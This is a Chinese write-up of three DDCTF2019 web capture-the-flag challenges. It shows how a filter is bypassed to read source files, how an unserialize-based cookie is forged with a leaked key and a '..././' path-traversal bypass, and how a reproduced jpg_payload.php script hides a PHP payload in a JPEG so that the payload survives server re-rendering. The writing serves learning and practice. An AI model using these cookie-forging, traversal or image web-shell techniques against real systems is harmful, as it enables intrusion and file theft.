DDCTF2019部分Web题Write Up

声明:语言表达能力有限,本问仅供学习参考,大佬勿喷!

本文主要记录DDCTF2019中部分web赛题的解题过程,仅学习参考使用。

滴~
  • 题目地址
    http://117.51.150.246

  • 解题过程

1).首先打开题目,url为http://117.51.150.246/index.php?jpg=TmpZMlF6WXhOamN5UlRaQk56QTJOdz09,图中出现两个flag.jpg,和一个心情复杂的表情包。看一下源码,发现应该是将文件内容进行base64编码,然后当作图片的内容输出。

image.png
image.png

2).第一反应是文件包含,jpg参数看不懂。TmpZMlF6WXhOamN5UlRaQk56QTJOdz09,解码看看,通过先进行两次base64解码,再对解码解码进行16进制解码,发现结果为flag.jpg。由此可以知道,文件名需要先进行16进制编码,再进行两次base64编码。

3).尝试读取/etc/passwd,但是好像不能够目录跳转,过滤了/

image.png

4).试一试读取index.php内容,初步猜想,读取源码,进行代码审计。

image.png
image.png

5).将base64部分解码,得到index.php源码如下。

image.png
'.$_GET['jpg'].'';
$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'
'; $file = str_replace("config","!", $file); echo $file.'
'; $txt = base64_encode(file_get_contents($file)); echo ""; /* * Can you find the flag file? * */ ?>

6).看来思路没错,接下来看文件代码,发现代码是一些基本的功能输出,并没有解题的线索,唯一吸引注意的是注释部分,发现了一个博客地址。

image.png

打开博客,再别人提示下注意到这篇文章,看到这我不得不吐槽一句,出题人脑子有坑吧,线索在博客中就不说了,你倒是直接链接到这篇文章也行啊,坑爹!接下来看看这篇文章,其实没啥看的,就是linux下文件意外退出,会留下一个.swp交换文件。

image.png

7).那就是文章中说的这个practice.txt.swp隐藏文件吧。于是继续读取文件源码吧,还是将practice.txt.swp文件通过hex()——>base64()——>base64()顺序编码,然后读取内容。

image.png
image.png
image.png

看到了practice.txt.swp里面内容为f1ag!ddctf.php,到这个地方明显离成功不远了,应该就是继续读取f1ag!ddctf.php文件内容了。

8). 之前在读取index.php文件时候,注意以下代码。

$file = preg_replace("/[^a-zA-Z0-9.]+/","", $file);
echo $file.'
'; $file = str_replace("config","!", $file); echo $file.'
';

很明显意思就是文件名在a-zA-Z0-9.中,不能有!,但是下面一行代码是将config字符串替换为!,分析完其实很简单了,要将f1ag!ddctf.php名变成f1agconfigddctf.php就行了。

9).读取f1ag!ddctf.php内容。

image.png
image.png
image.png

10). 审计f1ag!ddctf.php,发现这个出题人可能脑子短路了吧,在这先说结论,php代码中$content='',因此我们只需要传入uid=即可拿到flag,因为题目本身就不存在名为hello的文件,或者就是hello文件里面为空,所以file_get_contents($k)的值返回false,然后再经过trim()函数false被转换成空字符串"",因此,传入uid等于空即可绕过判断得到flag。注意此处绝对不能想错了误以为file_get_contents($k)会将返回值复制给变量。因此说出题人本来是想考察extract()变量覆盖的,结果弄巧成拙,代码中即使==换成===仍然成立,这样看来这道题最后还变简单了。

image.png

假如我将$k值覆盖掉为一个存在的文件名config.php,如下:

image.png

看到此处相信都明白我所说的意思了吧,如有疑惑建议亲自动手实践解惑!


WEB签到题
  • 题目地址

    http://117.51.158.44/index.php

  • 解题过程

  1. 首先打开题目,如下图所示:抱歉,您没有登陆权限,请获取权限后访问-----
image.png
  1. 很明显首先要绕过认证才能访问,通过源码信息查看,发现了一个ajax请求,如下所示:
image.png
  1. 发现didictf_username字段可能是一个认证字段,于是走流程抓包发现didictf_username字段,但是不知道名字啊,这个时候就要根据经验了,试试admin吧,果不其然,通过验证,如下所示:
image.png
  1. 通过验证之后显示结果为:您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php
image.png
  1. 下面接着访问app/fL2XID2i0Cdh.php,发现了是两个php文件源码,这就很明显了,接下来就是代码审计,绕过流程,输出flag了。

url:app/Application.php

Class Application {
    var $path = '';


    public function response($data, $errMsg = 'success') {
        $ret = ['errMsg' => $errMsg,
            'data' => $data];
        $ret = json_encode($ret);
        header('Content-type: application/json');
        echo $ret;

    }

    public function auth() {
        $DIDICTF_ADMIN = 'admin';
        if(!empty($_SERVER['HTTP_DIDICTF_USERNAME']) && $_SERVER['HTTP_DIDICTF_USERNAME'] == $DIDICTF_ADMIN) {
            $this->response('您当前当前权限为管理员----请访问:app/fL2XID2i0Cdh.php');
            return TRUE;
        }else{
            $this->response('抱歉,您没有登陆权限,请获取权限后访问-----','error');
            exit();
        }

    }
    private function sanitizepath($path) {
    $path = trim($path);
    $path=str_replace('../','',$path);
    $path=str_replace('..\\','',$path);
    return $path;
}

public function __destruct() {
    if(empty($this->path)) {
        exit();
    }else{
        $path = $this->sanitizepath($this->path);
        if(strlen($path) !== 18) {
            exit();
        }
        $this->response($data=file_get_contents($path),'Congratulations');
    }
    exit();
}
}

url:app/Session.php

include 'Application.php';
class Session extends Application {

    //key建议为8位字符串
    var $eancrykey                  = '';
    var $cookie_expiration          = 7200;
    var $cookie_name                = 'ddctf_id';
    var $cookie_path                = '';
    var $cookie_domain              = '';
    var $cookie_secure              = FALSE;
    var $activity                   = "DiDiCTF";


    public function index()
    {
    if(parent::auth()) {
            $this->get_key();
            if($this->session_read()) {
                $data = 'DiDI Welcome you %s';
                $data = sprintf($data,$_SERVER['HTTP_USER_AGENT']);
                parent::response($data,'sucess');
            }else{
                $this->session_create();
                $data = 'DiDI Welcome you';
                parent::response($data,'sucess');
            }
        }

    }

    private function get_key() {
        //eancrykey  and flag under the folder
        $this->eancrykey =  file_get_contents('../config/key.txt');
    }

    public function session_read() {
        if(empty($_COOKIE)) {
        return FALSE;
        }

        $session = $_COOKIE[$this->cookie_name];
        if(!isset($session)) {
            parent::response("session not found",'error');
            return FALSE;
        }
        $hash = substr($session,strlen($session)-32);
        $session = substr($session,0,strlen($session)-32);

        if($hash !== md5($this->eancrykey.$session)) {
            parent::response("the cookie data not match",'error');
            return FALSE;
        }
        $session = unserialize($session);


        if(!is_array($session) OR !isset($session['session_id']) OR !isset($session['ip_address']) OR !isset($session['user_agent'])){
            return FALSE;
        }

        if(!empty($_POST["nickname"])) {
            $arr = array($_POST["nickname"],$this->eancrykey);
            $data = "Welcome my friend %s";
            foreach ($arr as $k => $v) {
                $data = sprintf($data,$v);
            }
            parent::response($data,"Welcome");
        }

        if($session['ip_address'] != $_SERVER['REMOTE_ADDR']) {
            parent::response('the ip addree not match'.'error');
            return FALSE;
        }
        if($session['user_agent'] != $_SERVER['HTTP_USER_AGENT']) {
            parent::response('the user agent not match','error');
            return FALSE;
        }
        return TRUE;

    }

    private function session_create() {
        $sessionid = '';
        while(strlen($sessionid) < 32) {
            $sessionid .= mt_rand(0,mt_getrandmax());
        }

        $userdata = array(
            'session_id' => md5(uniqid($sessionid,TRUE)),
            'ip_address' => $_SERVER['REMOTE_ADDR'],
            'user_agent' => $_SERVER['HTTP_USER_AGENT'],
            'user_data' => '',
        );

        $cookiedata = serialize($userdata);
        $cookiedata = $cookiedata.md5($this->eancrykey.$cookiedata);
        $expire = $this->cookie_expiration + time();
        setcookie(
            $this->cookie_name,
            $cookiedata,
            $expire,
            $this->cookie_path,
            $this->cookie_domain,
            $this->cookie_secure
            );

    }
}


$ddctf = new Session();
$ddctf->index();

分析这两个php文件,仅仅两个类而已,不过本人太菜,分析了1天,第一个文件app/Application.php定义了一个Application类;第二个文件app/Session.php也是一个类,不过这个Session类是继承于Application类,然后最后定义一个对象ddctf,这个对象调用index()函数。大概过程就是这样,比较简单。主要就是里面的东西。接下来稍微具体的分析下两个文件里面功能设计。

第一个文件:首先是定义了一个$path;然后是response()函数,这个函数主要是输出信息的,接着是auth()认证函数,这个就是控制访问权限的,可以看到要想通过认证,必须使$_SERVER['HTTP_DIDICTF_USERNAME']等于admin,即HTTP头部字段didictf_usernameadmin;接下来是sanitizepath()函数,这个函数是对变量path的字符串的过滤,这个地方随后会用的到,开始没想到这个地方;接下来就是类中的析构函数__destruct,可以看到,如果path变量为空,就会退出,path变量长度不是18位也会退出,最后是读取path路径的文件内容并使用response()输出。

第二个文件:继承于上个文件中的类,之前说过,里面开始定义了一些类中变量;下面第一个函数为index()函数,这个文件在这里面也是相当于一个主函数了,里面主要调用的是session_read()session_create()两个函数,同时还使用parent关键字调用使用父类中的response()函数;还有一个get_key()函数,功能是相当于读取../config/key.txt中8位的密钥吧,之前也有提示下面会用到,不过此处有个提示//eancrykey and flag under the folder,提示说的是flag也在这个文件夹下。

具体还是说一下session_read()session_create()两个函数,在index()函数里面,如果请求包里面没有设置cookie就会启用session_create()函数,反之,设置有cookie,就会调用session_create()函数。session_create()函数是创建cookie的函数,里面没什么要说的;session_read()函数是读取cookie,通过分析可以知道,如果我们知道key就可以任意构造cookie了,关键是如何将key值输出。关键代码如下:

if(!empty($_POST["nickname"])) {
    $arr = array($_POST["nickname"],$this->eancrykey);
    $data = "Welcome my friend %s";
    foreach ($arr as $k => $v) {
        $data = sprintf($data,$v);
    }
    parent::response($data,"Welcome");
}

可以看到此处有输出数组,但是关键此处输出只能输出nickname的值,因为nickname的值把%s占位符替代之后,循环到$this->eancrykey时候,就无法输出$this->eancrykey,例如假如post的数据为nickname=zzqsmile,this->eancrykey,仔细想下可能会想到吧,就是直接传入%s作为nickname变量的值,这样就能够将遍历到$this->eancrykey的值拼接到this->eancrykey的值就可以随便构造Cookie。

分析到这,人已经蒙了,怎么才能输出flag呢?这时候又要回去看Application.php文件中类的析构函数了,析构函数中可以读取$path的文件内容,因此,仅仅需要用心构造好一个cookie,将文件路径写进$path,等到触发析构函数的时候让其输出flag文件内容,此时又需要一个脑洞,通过提示知道文件路径是18位,flag文件和key在一个文件夹下,因此猜想路径为../config/flag.txt,正好18位。但是之前对../进行过滤了,所以在构造序列化对象时候要构造成..././config/flag.txt,分析完之后就开干。

访问app/Session.php文件。

image.png
可以看到开始没有cookie时会设置cookie。
image.png

可以看到图中标记红色部分1a303cbea7ecff312df1cbd194e1def0即是$cookiedata.md5($this->eancrykey.$cookiedata);的结果。这个cookie是通过是一个合法的cookie,那么如果我们将这段合法的cookie带进头部,程序是不是就会读取这段cookie了,这样程序就会执行到session_read()里面,如下:

image.png

没毛病,按照之前分析,下一步得到$this->eancrykey的值EzblrbNS,不过此处要注意的是Content-Type:字段值是否为:application/x-www-form-urlencoded,关键点都已在下图标出。

image.png

得到$this->eancrykey值接下来就写个很low的脚本构造下cookie。

eancrykey
$zzz = new Application();
$b = serialize($zzz); 
echo "$b";
echo "
"; //$b// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";} $a = $b.md5('EzblrbNS'.$b); echo $a; //$a// O:11:"Application":1:{s:4:"path";s:21:"..././config/flag.txt";}5a014dbe49334e6dbb7326046950bee2 // echo "
"; echo urlencode($a); //urlencode($a)// O%3A11%3A%22Application%22%3A1%3A%7Bs%3A4%3A%22path%22%3Bs%3A21%3A%22...%2F.%2Fconfig%2Fflag.txt%22%3B%7D5a014dbe49334e6dbb7326046950bee2 ?>

带入构造的cookie成功拿到flag。

image.png

Upload-IMG
  • 题目地址

    [http://117.51.148.166/upload.php)(http://117.51.148.166/upload.php)

  • 解题过程

1). 按照给的认证用户名,密码进入题目

image.png
image.png

通过测试发现,主要是只能上传图片,题目是通过文件内容中有phpinfo()字符串来决定是否通关的,测试发现,上传的图片是被经过二次渲染的,因此,就要绕过二次渲染,使其phpinfo()内容不发生改变。

2). 直接用据说国外牛人写的脚本制作图片马。

脚本jpg_payload.php:



    In case of successful injection you will get a specially crafted image, which should be uploaded again.

    Since the most straightforward injection method is used, the following problems can occur:
    1) After the second processing the injected data may become partially corrupted.
    2) The jpg_payload.php script outputs "Something's wrong".
    If this happens, try to change the payload (e.g. add some symbols at the beginning) or try another initial image.

    Sergey Bobrov @Black2Fan.

    See also:
    https://www.idontplaydarts.com/2012/06/encoding-web-shells-in-png-idat-chunks/

    */

    $miniPayload = "";


    if(!extension_loaded('gd') || !function_exists('imagecreatefromjpeg')) {
        die('php-gd is not installed');
    }

    if(!isset($argv[1])) {
        die('php jpg_payload.php ');
    }

    set_error_handler("custom_error_handler");

    for($pad = 0; $pad < 1024; $pad++) {
        $nullbytePayloadSize = $pad;
        $dis = new DataInputStream($argv[1]);
        $outStream = file_get_contents($argv[1]);
        $extraBytes = 0;
        $correctImage = TRUE;

        if($dis->readShort() != 0xFFD8) {
            die('Incorrect SOI marker');
        }

        while((!$dis->eof()) && ($dis->readByte() == 0xFF)) {
            $marker = $dis->readByte();
            $size = $dis->readShort() - 2;
            $dis->skip($size);
            if($marker === 0xDA) {
                $startPos = $dis->seek();
                $outStreamTmp = 
                    substr($outStream, 0, $startPos) . 
                    $miniPayload . 
                    str_repeat("\0",$nullbytePayloadSize) . 
                    substr($outStream, $startPos);
                checkImage('_'.$argv[1], $outStreamTmp, TRUE);
                if($extraBytes !== 0) {
                    while((!$dis->eof())) {
                        if($dis->readByte() === 0xFF) {
                            if($dis->readByte !== 0x00) {
                                break;
                            }
                        }
                    }
                    $stopPos = $dis->seek() - 2;
                    $imageStreamSize = $stopPos - $startPos;
                    $outStream = 
                        substr($outStream, 0, $startPos) . 
                        $miniPayload . 
                        substr(
                            str_repeat("\0",$nullbytePayloadSize).
                                substr($outStream, $startPos, $imageStreamSize),
                            0,
                            $nullbytePayloadSize+$imageStreamSize-$extraBytes) . 
                                substr($outStream, $stopPos);
                } elseif($correctImage) {
                    $outStream = $outStreamTmp;
                } else {
                    break;
                }
                if(checkImage('payload_'.$argv[1], $outStream)) {
                    die('Success!');
                } else {
                    break;
                }
            }
        }
    }
    unlink('payload_'.$argv[1]);
    die('Something\'s wrong');

    function checkImage($filename, $data, $unlink = FALSE) {
        global $correctImage;
        file_put_contents($filename, $data);
        $correctImage = TRUE;
        imagecreatefromjpeg($filename);
        if($unlink)
            unlink($filename);
        return $correctImage;
    }

    function custom_error_handler($errno, $errstr, $errfile, $errline) {
        global $extraBytes, $correctImage;
        $correctImage = FALSE;
        if(preg_match('/(\d+) extraneous bytes before marker/', $errstr, $m)) {
            if(isset($m[1])) {
                $extraBytes = (int)$m[1];
            }
        }
    }

    class DataInputStream {
        private $binData;
        private $order;
        private $size;

        public function __construct($filename, $order = false, $fromString = false) {
            $this->binData = '';
            $this->order = $order;
            if(!$fromString) {
                if(!file_exists($filename) || !is_file($filename))
                    die('File not exists ['.$filename.']');
                $this->binData = file_get_contents($filename);
            } else {
                $this->binData = $filename;
            }
            $this->size = strlen($this->binData);
        }

        public function seek() {
            return ($this->size - strlen($this->binData));
        }

        public function skip($skip) {
            $this->binData = substr($this->binData, $skip);
        }

        public function readByte() {
            if($this->eof()) {
                die('End Of File');
            }
            $byte = substr($this->binData, 0, 1);
            $this->binData = substr($this->binData, 1);
            return ord($byte);
        }

        public function readShort() {
            if(strlen($this->binData) < 2) {
                die('End Of File');
            }
            $short = substr($this->binData, 0, 2);
            $this->binData = substr($this->binData, 2);
            if($this->order) {
                $short = (ord($short[1]) << 8) + ord($short[0]);
            } else {
                $short = (ord($short[0]) << 8) + ord($short[1]);
            }
            return $short;
        }

        public function eof() {
            return !$this->binData||(strlen($this->binData) === 0);
        }
    }
?>
  • 使用方法

1). 随便找一个jpg图片,先上传至服务器然后再下载到本地保存为1.jpg
2). 使用脚本处理1.jpg,命令php jpg_payload.php 1.jpg

亲测有效,不愧是大佬,稳了一P。

image.png
  • 参考

https://xz.aliyun.com/t/2657


<完>太菜了,只能玩到这了,写的不好别喷,坐等其他Writeup

你可能感兴趣的:(DDCTF2019部分Web题Write Up)